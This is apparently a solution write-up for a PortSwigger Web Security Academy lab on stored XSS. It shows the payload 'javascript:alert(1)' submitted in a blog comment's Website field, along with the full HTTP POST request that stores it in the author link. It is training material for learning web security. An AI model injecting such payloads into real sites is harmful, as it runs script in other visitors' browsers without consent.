Port Swigger Stored XSS into anchor href attribute
Stored XSS into anchor href attribute with double quotes HTML-encoded
Solution
Open website: https://0a0600b803a9a48b80e3ef6d00a0008a.web-security-academy.net/post?postId=3
https://0a0600b803a9a48b80e3ef6d00a0008a.web-security-academy.net/post?postId=3
Put payload: javascript:alert(1)
Input payload: javascript:alert(1) in "Website" field
---
POST /post/comment HTTP/2
Host: 0a0600b803a9a48b80e3ef6d00a0008a.web-security-academy.net
Cookie: session=GDSkgm89FSkRGwBkVOcrLIe7fyLSlGwq
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://0a0600b803a9a48b80e3ef6d00a0008a.web-security-academy.net
Referer: https://0a0600b803a9a48b80e3ef6d00a0008a.web-security-academy.net/post?postId=3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=2CYAtfJdFY6HUQgCom8756KOKEOW2ldB&postId=3&comment=aaaa&name=Jan+Nowak&email=as%40wp.pl&website=javascript%3Aalert%281%29
Click name of author post: "Jan Nowak"
Solved